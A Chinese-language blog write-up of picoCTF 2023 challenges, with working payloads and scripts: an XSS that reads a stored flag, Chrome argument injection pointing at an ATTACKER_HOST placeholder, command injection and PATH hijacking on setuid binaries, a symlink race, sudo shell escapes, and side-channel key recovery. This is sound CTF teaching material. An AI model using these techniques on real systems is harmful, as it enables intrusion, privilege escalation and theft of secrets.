picoCTF 2023 WriteUps

發表於
分類於 CTF

今年 picoCTF 也是 solo 參與,只有前面第一兩天挑了些分數較高的題目來解解,後面就都沒碰了。

General Skills

Special

是一個 python 程式,它會對你的輸入做一些未知的處理之後送進 os.system,不過因為沒 source code 就只能亂試而已。我的解法是輸入 a;`cat` 之後輸入 bash,之後 Ctrl-D 就拿到 shell 了。之所以能這樣做是因為題目都是用 ssh 連線的,所以有 tty 能讓我送 EOF。

我拿到 Flag 是 picoCTF{5p311ch3ck_15_7h3_w0r57_0c61d335},然後也順便把題目的 source code 抓了下來:

#!/usr/bin/python3

import os
from spellchecker import SpellChecker



spell = SpellChecker()

while True:
  cmd = input("Special$ ")
  rval = 0

  if cmd == 'exit':
    break
  elif 'sh' in cmd:
    print('Why go back to an inferior shell?')
    continue
  elif cmd[0] == '/':
    print('Absolutely not paths like that, please!')
    continue

  # Spellcheck
  spellcheck_cmd = ''
  for word in cmd.split():
    fixed_word = spell.correction(word)
    if fixed_word is None:
      fixed_word = word
    spellcheck_cmd += fixed_word + ' '

  # Capitalize
  fixed_cmd = list(spellcheck_cmd)
  words = spellcheck_cmd.split()
  first_word = words[0]
  first_letter = first_word[0]
  if ord(first_letter) >= 97 and ord(first_letter) <= 122:
    fixed_cmd[0] = chr(ord(spellcheck_cmd[0]) - 0x20)
  fixed_cmd = ''.join(fixed_cmd)

  try:
    print(fixed_cmd)
    os.system(fixed_cmd)
  except:
    print("Bad command!")

Specialer

這題 ssh 上去後是個 bash shell,但是 ls 等等的指令都執行不了,可以猜測說大概是 binary 都被刪除了,只剩下 /bin/bash 而已。不過這個情況我很熟悉,因為它很類似我曾經出過的另一題 Free Shell,但是那題困難很多。

不過核心概念就是怎麼只用 bash builtin 的功能做 lscat 的工作而已。echo * 可以讓你列出當前目錄下的檔案,也能結合 glob 做很多不同的事。而這題檔案很多,不確定 flag 在哪,所以用個 loop 把所有 glob 能 match 的檔案都用 echo $(<$file) 看看有沒有 flag 就好了:

for f in **/*; do echo $(<$f); done

Flag: picoCTF{y0u_d0n7_4ppr3c1473_wh47_w3r3_d01ng_h3r3_d5ef8b71}

Web Exploitation

Java Code Analysis!?!

這題是個從這個改來的 spring boot 網頁,讀一下 source code 可以在 SecretGenerator 看到:

private String generateRandomString(int len) {
	// not so random
	return "1234";
}

所以 jwt secret key 固定是 1234,那麼 sign 個 admin jwt 就能拿到 flag 了:

{
  "role": "Admin",
  "iss": "bookshelf",
  "exp": 1679561205,
  "iat": 1678956405,
  "userId": 2,
  "email": "admin"
}

msfroggenerator2

這題架構是有個 openresty (nginx) server 在最外層,然後中間經過 traefik 之後後面有 api 和 bot 兩個 backend。

nginx config:

server {
    listen 8080;
    resolver local=on;
    location / {
        add_header Content-Security-Policy "default-src 'none'; script-src 'self'; style-src 'self'; img-src https://cdn.jsdelivr.net/gh/Crusaders-of-Rust/corCTF-2022-public-challenge-archive@master/web/msfroggenerator/task/img/; connect-src 'self'" always;
        root /var/www;
    }
    location /api/ {
        proxy_set_header Host api;
        proxy_pass "http://traefik:8080";
    }
    location = /report {
        proxy_set_header Host bot;
        set_by_lua $url 'return "http://openresty:8080/?id=" .. ngx.var.arg_id';
        proxy_pass "http://traefik:8080/?url=$url";
    }
}

traefik:

http:
  routers:
    api:
      service: api
      rule: "Host(`api`)"
    bot:
      service: bot
      rule: "Host(`bot`)"
  services:
    api:
      loadBalancer:
        servers:
          - url: "http://api:8080"
    bot:
      loadBalancer:
        servers:
          - url: "http://bot:8080"

/var/www 那下面有個靜態網站,上面會 call 一些 /api/ 的 api,不過簡單讀過之後會發現似乎根本沒辦法 XSS。不過這題另一個特別可疑的地方就是為什麼要用兩個 reverse proxy,這部分其實和 bot 有關:

import puppeteer from 'puppeteer';
import { readFile } from 'fs/promises'

const sleep = time => new Promise(resolve => setTimeout(resolve, time));
const flag = await readFile('/flag.txt', 'utf-8');

const browser = await puppeteer.launch({
    headless: false,
    pipe: true,
    dumpio: true,
    args: [
        '--incognito',
        '--js-flags=--jitless',
        '--no-sandbox'
    ],
    defaultViewport: {
        width: 1280,
        height: 720
    }
});

const visit = async () => {
    const page = await browser.newPage();
    const [url] = process.argv.slice(2);
    await page.goto('http://openresty:8080/');
    await page.evaluate(flag => {
        localStorage.setItem('flag', flag);
    }, flag);
    await page.goto(url);
    await sleep(5000);
    const screenshot = await page.screenshot({
        type: 'png',
        encoding: 'base64'
    });
    await page.evaluate(async screenshot => {
        await fetch('/api/reports/add', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
                'Authorization': `Bearer ${localStorage.getItem('flag')}`
            },
            body: JSON.stringify({ screenshot })
        });
    }, screenshot);
}

try { await Promise.race([ visit(), sleep(10000) ]); } catch(e) { console.log(e) };
await browser.close();

還有

import { createServer } from 'http';
import { spawn } from 'child_process';

let running = false;

createServer((req, res) => {
    const { url } = Object.fromEntries(new URL(`http://${req.headers.host}${req.url}`).searchParams);
    res.writeHead(200);
    if (!url) return res.end('Invalid request');
    if (running) return res.end('Already running!');
    (async () => {
        running = true;
        console.log('Starting...');
        const proc = spawn('node', ['bot.js', url], {
            stdio: ['inherit', 'inherit', 'inherit']
        });
        await new Promise(resolve => proc.on('exit', resolve));
        console.log('Exited');
        running = false;
    })();
    res.end('Sent! ' + url);
}).listen(8080);

從 nginx 那邊我們知道 /report 會把我們傳入的 id 參數變成 url=http://openresty:8080/?id=$id,所以 bot 收到的 url 一定是 http://openresty:8080/ 的對吧? 然而 traefik 在判斷 query string separator 的時候還會考慮分號 ;,而在 2.7.2 版本之後還會直接把 ; normalize 成 &。 (ref: traefik issue #9164, source)

所以只要讓 id 變成 ;id=another_url,那麼根據 new URL 出現重複參數會取後者的性質,another_url 就會直接進入 page.goto(url),中途沒有經過任何的檢查,所以我們可以塞 javascript:... 達成 XSS。

base=http://saturn.picoctf.net:64716
curl -g $base'/report?id=;url=javascript:fetch("/api/reports/add",{method:"POST",headers:{"Content-Type":"application/json","Authorization":`Bearer\u0020${localStorage.flag}`},body:JSON.stringify({url:localStorage.flag})})' -v
sleep 5
curl $base'/api/reports/get' | jq .[].url

不過後來和作者聊過之後發現前半正確,但 javascript: 不是 intended XD,正確解法是利用 chrome 強制下載的功能(這也是 bot 非 headless 的原因)可以讓檔案出現在 /root/Downloads/xxx.html,然後覆蓋 fetch 後就能攔截到 flag 了。

作者原本預期 CSP 會擋住 javascript: 的,但 chrome 似乎會允許 page.goto (等價於 user 自己在網址列輸入) 通過的樣子,不管 CSP。

cancri-sp

這題看起來就像是 browser pwn,因為題目給了一個 patch 過的 chromium 還有一些 mojo 方面的 C++ code,但我用 unintended 解了 XDDD。

它執行 bot 的 shell script 長這樣:

set -eux

SCRIPT_DIR=$(dirname -- "$0")

sleep 3 | exec $SCRIPT_DIR/src/out/Final/chrome \
  --enable-blink-features=MojoJS \
  --headless \
  --disable-gpu \
  --remote-debugging-pipe \
  --user-data-dir=/does-not-exist \
  --disable-dev-shm-usage \
  --no-sandbox \
  $1 3<&0 4>/dev/null

而 server 是直接把你給的 url 原封不動的當 argv 傳入:

var express = require('express');
var { spawnSync } = require('child_process');
var app = express();

const PORT = process.env.PORT || 1337;

let pwning = false;

app.get("/bot", async (req, res) => {
  const url = req.query.target;

  if (typeof url != "string" || !url.startsWith("http://")) {
    return res.end("bad");
  }

  if (pwning) {
    return res.end("come back later");
  }
  pwning = true;
  console.log("pwning ", url);
  const output = spawnSync(__dirname + "/../run.sh", [url], {
    env: {},
    timeout: 3 * 1000,
    cwd: "/"
  });
  pwning = false;

  res.end("done");
});

app.use(express.static(__dirname + "/public"));

app.listen(PORT, '0.0.0.0', () => {
  console.log("listening ", PORT)
});

不過有寫過 shell script 的人應該都知道把 variable 包在引號裡是非常重要的一件式,不然 shell 會自動對空白分割當多個 argv 傳入,細節請參見 Security implications of forgetting to quote a variable in bash/POSIX shells

所以我們這邊只要讓 url 有空白就能對 chrome 做 argument injection,而查一下可以知道有很多 --no-sandbox --disable-gpu-sandbox --gpu-launcher --renderer-cmd-prefix 等等的參數可以拿 RCE,但我這邊只能讓它執行 binary 而已,沒辦法控到參數。

不過我這邊就換了個做法,用了 --disable-web-security --remote-debugging-port=9222 --remote-allow-origins=* --headless=new 讓我能直接打 Chrome DevTools Protocol 去讀目錄並和讀 flag。 (--headless=new 好像是因為有遇到一些行為不同的問題才加的)

<script>
  // location='/bot?target='+encodeURIComponent('http://ATTACKER_HOST/ --disable-web-security --remote-debugging-port=9222 --remote-allow-origins=* --headless=new')
  function log(...args) {
      console.log(...args)
      navigator.sendBeacon('/log:' + String(args[0]), JSON.stringify(args, null, 2))
  }
  const sleep = ms => new Promise(resolve => setTimeout(resolve, ms))
  const path = '/challenge/flag-53035d3cba0664dfac37ff64b6e0f86e'
  ;(async () => {
      const res = await fetch('http://localhost:9222/json/new?file://' + path, { method: 'PUT' }).then(r => r.json())
      log('new', res)
      const ws = new WebSocket(res.webSocketDebuggerUrl)
      ws.onerror = e => {
          log('wserr', e)
      }
      ws.onmessage = e => {
          log('wsmsg', e.data)
      }
      ws.onopen = async () => {
          log('wsopen')
          await sleep(500)
          ws.send(
              JSON.stringify({
                  id: 1,
                  method: 'Runtime.evaluate',
                  params: {
                      expression: `document.body.innerHTML`
                  }
              })
          )
      }
  })().catch(err => {
      log('err', err.message, err.stack)
  })
</script>
picoCTF{eac36dc6}

附註: 其實只用 Chrome DevTools Protocol 也是有機會拿 RCE 的,參考 ASIS CTF 2022 - xtr

Cryptography

SRA

from Crypto.Util.number import getPrime, inverse, bytes_to_long
from string import ascii_letters, digits
from random import choice

pride = "".join(choice(ascii_letters + digits) for _ in range(16))
gluttony = getPrime(128)
greed = getPrime(128)
lust = gluttony * greed
sloth = 65537
envy = inverse(sloth, (gluttony - 1) * (greed - 1))

anger = pow(bytes_to_long(pride.encode()), sloth, lust)

print(f"{anger = }")
print(f"{envy = }")

print("vainglory?")
vainglory = input("> ").strip()

if vainglory == pride:
    print("Conquered!")
    with open("/challenge/flag.txt") as f:
        print(f.read())
else:
    print("Hubris!")

這題的 RSA 給你了 e,de,d 和一個 cme(modn)c \equiv m^e \pmod{n},需要想辦法得到 mm

我的做法是 ed1(modφ(n))ed \equiv 1 \pmod{\varphi(n)},所以分解 ed1ed-1 有機會找到 p1p-1,然後如果 p,qp,q 都是 128 bits 的質數的話就試著 decrypt 看看得到的 mm 是不是都在那個 message 可能的字元集中。

from pwn import process, remote
from sage.all import divisors, is_pseudoprime
from Crypto.Util.number import long_to_bytes

# io = process(["python", "chal.py"])
io = remote("saturn.picoctf.net", 61223)
io.recvuntil(b"anger = ")
c = int(io.recvline().strip())
io.recvuntil(b"envy = ")
d = int(io.recvline().strip())
e = 65537
kphi = e * d - 1

for pm1 in divisors(kphi):
    p = pm1 + 1
    if is_pseudoprime(p) and p.bit_length() == 128:
        for k in range(1, e):
            if kphi % k != 0:
                continue
            q = (kphi // k // pm1) + 1
            if is_pseudoprime(q) and q.bit_length() == 128:
                print(p)
                print(q)
                n = p * q
                m = pow(c, d, n)
                msg = long_to_bytes(m)
                print(msg)
                if msg.isalnum():
                    io.sendline(msg)
                    print(io.recvall())
                    exit()
# picoCTF{7h053_51n5_4r3_n0_m0r3_3ed2713f}

PowerAnalysis: Warmup

#!/usr/bin/env python3
import random, sys, time

with open("key.txt", "r") as f:
    SECRET_KEY = bytes.fromhex(f.read().strip())

Sbox = (
    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
    0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
    0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
    0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
    0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
    0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
    0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
    0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
    0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
    0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
    0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
    0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)

# Leaks one bit of information every operation
leak_buf = []
def leaky_aes_secret(data_byte, key_byte):
    out = Sbox[data_byte ^ key_byte]
    leak_buf.append(out & 0x01)
    return out

# Simplified version of AES with only a single encryption stage
def encrypt(plaintext, key):
    global leak_buf
    leak_buf = []
    ciphertext = [leaky_aes_secret(plaintext[i], key[i]) for i in range(16)]
    return ciphertext

# Leak the number of 1 bits in the lowest bit of every SBox output
def encrypt_and_leak(plaintext):
    ciphertext = encrypt(plaintext, SECRET_KEY)
    ciphertext = None # throw away result
    time.sleep(0.01)
    return leak_buf.count(1)

pt = input("Please provide 16 bytes of plaintext encoded as hex: ")
if len(pt) != 32:
    print("Invalid length")
    sys.exit(0)

pt = bytes.fromhex(pt)
print("leakage result:", encrypt_and_leak(pt))

這題會把你輸入的 message mm 和隱藏的 key kk xor 之後輸出 LSB(SBOX(mk))\operatorname{LSB}(\operatorname{SBOX}(m \oplus k))

因為這邊其實各個 byte 是可以分開討論的,所以這邊我們先假定要找的只是 key 的第一個 byte 而已。我的作法是先隨機送一些 mim_i 過去拿到對應的 ci{0,1}c_i \in \{ 0,1 \},然後接下來爆破 kj[0,256)k_j \in [0, 256) 拿到 LSB(SBOX(mikj))\operatorname{LSB}(\operatorname{SBOX}(m_i \oplus k_j)) 的值,結果會是一個 (i,j)(i,j) 的矩陣,其中某個 column 會和 cic_i 相同,所以就能知道 key byte 是 kjk_j 了。把這個方法也用到其他 byte 上就可以拿到整個 key 了。

from pwn import context, process, remote
import numpy as np
from tqdm import tqdm

context.log_level = "error"

# fmt: off
Sbox = (
    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
    0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
    0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
    0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
    0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
    0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
    0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
    0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
    0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
    0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
    0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
    0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)
# fmt: on


def oracle(pt):
    # io = process(["python", "encrypt.py"])
    io = remote("saturn.picoctf.net", 54334)
    io.sendline(pt.hex().encode())
    io.recvuntil(b"result: ")
    r = int(io.recvlineS().strip())
    io.close()
    return r


def corr(xs, ys):
    # a simple correlation function
    dx = [a - b for a, b in zip(xs, xs[1:])]
    dy = [a - b for a, b in zip(ys, ys[1:])]
    return len([1 for a, b in zip(dx, dy) if a == b])


def recover_key_byte(idx):
    pt = bytearray([0] * 16)
    res = []
    pt_samples = range(0, 256, 8)  # to reduce the number of requests
    for i in tqdm(pt_samples):
        pt[idx] = i
        res.append(oracle(pt))
    out = [[Sbox[i ^ kb] & 1 for i in pt_samples] for kb in range(256)]
    cor = [corr(res, o) for o in out]
    mx = np.argmax(cor)
    print(mx)
    print(np.sort(cor)[-10:])
    return mx


key = bytes([recover_key_byte(i) for i in range(16)])
print(key.hex())
flag = f"picoCTF{{{key.hex()}}}"
print(flag)
# picoCTF{18427c31163ec78ed7ec67cd27f58d47}

PowerAnalysis: Part 1 / Part 2

這兩題其實很類似,不過第一題是允許你選擇 AES plaintext 然後得到目標的 power traces,而第二題只給你這種格式的 txt 而已:

Plaintext: 78695fc56ec9de44bf6dabdc6e264760
Power trace: [79, 94, 103, 134, 119, 121, 64, 101, 63, 80, 75, ...]

因為我這題其實是先解第二題的,所以就寫個腳本隨機生成一些 plaintext 然後得到指定的 power traces,然後弄成格式一樣的 txt 就能一次解兩個了:

from pwn import remote
from pathlib import Path
import os, ast

traces = Path("traces")
traces.mkdir(exist_ok=True)

for i in range(100):
    io = remote("saturn.picoctf.net", 55421)
    pt = os.urandom(16)
    io.sendline(pt.hex().encode())
    io.recvuntil(b"result:  ")
    trace = ast.literal_eval(io.recvlineS().strip())
    f = traces / f"trace{i:02d}.txt"
    f.write_text(
        f"""Plaintext: {pt.hex()}
Power trace: {trace}
    """
    )
    io.close()

總之這題沒有 source code,不過 hint 有說 The power consumption is correlated with the Hamming weight of the bits being processed,所以明顯是 Simple Power Analysis。

這邊的概念其實和 wramup 很類似,不過這邊是使用 SBOX(mk)\operatorname{SBOX}(m \oplus k) hamming weight 和得到的 power traces 中某個時間點的 power 計算相關係數,在爆破 kk 的 bytes 的時候會有一個 kk 的相關係數比別人高,由此就能知道 key byte 的值。

from pathlib import Path
import ast
import numpy as np
from scipy.stats import pearsonr
from tqdm import tqdm

pts = []
traces = []
for f in Path("traces").iterdir():
    l = f.read_text().splitlines()
    pt = bytes.fromhex(l[0].split(": ")[1])
    trace = ast.literal_eval(l[1].split(": ")[1])
    pts.append(pt)
    traces.append(trace)

# fmt: off
sbox = [
    0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
    0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
    0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
    0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
    0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
    0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
    0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
    0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
    0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
    0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
    0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
    0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
    0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
    0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
    0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
    0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
]
# fmt: on


def power_model(x):
    return x.bit_count()


key = []
for target_idx in range(16):
    M = np.array(
        [[sbox[pt[target_idx] ^ k] for k in range(256)] for pt in pts]
    )  # guess all key bytes
    MP = np.vectorize(power_model)(M)
    TR = np.array(traces)[:, 300:400]  # by guessing where the first sbox happens

    def get_max_corr(l):
        # compute the max correlation between guessed power consumption and power traces over a range of time
        mx = 0
        for r in TR.T:  # power traces at a time over all samples
            mx = max(mx, pearsonr(l, r)[0])
        return mx

    res = np.array([get_max_corr(x) for x in tqdm(MP.T)])
    mx = np.argmax(res)
    print(mx)
    print(res[mx])
    print(
        np.sort(res)[-10:]
    )  # should have a value that is significantly higher than the rest
    key.append(mx)
key = bytes(key)
print(key)
print(f"picoCTF{{{key.hex()}}}")
# Part 1: picoCTF{ce920ac29f329f624d373ccd26bc3d83}
# Part 2: picoCTF{ce920ac29f329f624d373ccd26bc3d83}

後來我才知道其實還有個 scared 的 library 可以幫你自動做這類的 side channel analysis,詳情可參考這篇 writeup

Binary Exploitation

hijacking

ssh 上去 sudo -l 看到:

User picoctf may run the following commands on challenge:
    (ALL) /usr/bin/vi
    (root) NOPASSWD: /usr/bin/python3 /home/picoctf/.server.py

所以 sudo vi 之後 ESC:!/bin/sh 就可以拿到 root shell 了,而 flag 在 /root/.flag.txt 之中: picoCTF{pYth0nn_libraryH!j@CK!n9_f56dbed6}

不過從 flag 可知它顯然不是 intended,正確做法是利用那個 .server.py:

import base64
import os
import socket
ip = 'picoctf.org'
response = os.system("ping -c 1 " + ip)
#saving ping details to a variable
host_info = socket.gethostbyaddr(ip)
#getting IP from a domaine
host_info_to_str = str(host_info[2])
host_info = base64.b64encode(host_info_to_str.encode('ascii'))
print("Hello, this is a part of information gathering",'Host: ', host_info)

python 預設會從 cwd 找 module,所以我們可以在 cwd 放一個 base64.py 裡面跑 shell 就能拿到 root 了。

tic-tac

ssh 上去可看到有個 suid binary,source code:

#include <iostream>
#include <fstream>
#include <unistd.h>
#include <sys/stat.h>

int main(int argc, char *argv[]) {
  if (argc != 2) {
    std::cerr << "Usage: " << argv[0] << " <filename>" << std::endl;
    return 1;
  }

  std::string filename = argv[1];
  std::ifstream file(filename);
  struct stat statbuf;

  // Check the file's status information.
  if (stat(filename.c_str(), &statbuf) == -1) {
    std::cerr << "Error: Could not retrieve file information" << std::endl;
    return 1;
  }

  // Check the file's owner.
  if (statbuf.st_uid != getuid()) {
    std::cerr << "Error: you don't own this file" << std::endl;
    return 1;
  }

  // Read the contents of the file.
  if (file.is_open()) {
    std::string line;
    while (getline(file, line)) {
      std::cout << line << std::endl;
    }
  } else {
    std::cerr << "Error: Could not open file" << std::endl;
    return 1;
  }

  return 0;
}

可以知道它在檢查 owner 和實際上讀取的時候有時差,所以可以利用 toctou 去讀取只有 root 才能碰的 flag。

{ while true; do ln -sf flag.txt lnk; ln -sf hello.txt lnk; done } &
while true; do ./txtreader lnk; done
# picoCTF{ToctoU_!s_3a5y_2075872e}

VNE

這題有個 binary,scp 下來反編譯可以看到這段 code:

v14 = getenv("SECRET_DIR");
if ( v14 )
{
  v5 = std::operator<<<std::char_traits<char>>(&std::cout, "Listing the content of ");
  v6 = std::operator<<<std::char_traits<char>>(v5, v14);
  v7 = std::operator<<<std::char_traits<char>>(v6, " as root: ");
  std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
  std::allocator<char>::allocator(&v12);
  std::string::basic_string(v16, v14, &v12);
  std::operator+<char>(v15, "ls ", v16);
  std::string::~string(v16);
  std::allocator<char>::~allocator(&v12);
  setgid(0);
  setuid(0);
  v8 = (const char *)std::string::c_str(v15);
  v13 = system(v8);
  if ( v13 )
  {
    v9 = std::operator<<<std::char_traits<char>>(&std::cerr, "Error: system() call returned non-zero value: ");
    v10 = std::ostream::operator<<(v9, v13);
    std::ostream::operator<<(v10, &std::endl<char,std::char_traits<char>>);
    v4 = 1;
  }
  else
  {
    v4 = 0;
  }
  std::string::~string(v15);
}

所以它會執行 system("ls" + SECRET_DIR),所以可以 command injection 拿 root shell: SECRET_DIR='/challenge;sh' ./bin

另一個方法是利用 ls 是用 relative path 呼叫的特性,而 suid binary 又不像 sudo 會幫你把一些危險的環境變數如 PATH 清掉,所以可以 PATH=/tmp 然後裡面放個 ls 的 script 也能拿 root shell。

Horsetrack

[*] '/home/maple3142/workspace/pico2023/horsetrack/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'./'

這題是很標準的 heap pwn,主要的洞在於有 UAF,然後它自訂的讀字串函數在遇到 \xff 時就會 return,所以讓它不會覆蓋掉 heap pointer 就能拿到 heap leak。

打法其實就很標準的 tcache poisoning,不過因為這題因為 glibc 版本是 2.33,所以還要繞過 safe linking。拿到 heap leak 和任意寫之後結合 No PIE 和 Partial RELRO 可知能寫掉 GOT,而對應了 binary 的一些操作我決定先寫 sh 到 bss 的某處,然後讓 stderr="sh" 並複寫 setbuf@GOT 到 resolve system 的地方,然後同時把 printf 覆蓋成呼叫 setbuf(stderr, ...) 的地方,這樣就有 shell 了。

from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"
context.log_level = "debug"


def cheat(idx: int, name: bytes, new_pos: int):
    io.sendlineafter(b"Choice: ", b"0")
    io.sendlineafter(b"? ", str(idx).encode())
    io.sendlineafter(b": ", name)
    io.sendlineafter(b"? ", str(new_pos).encode())


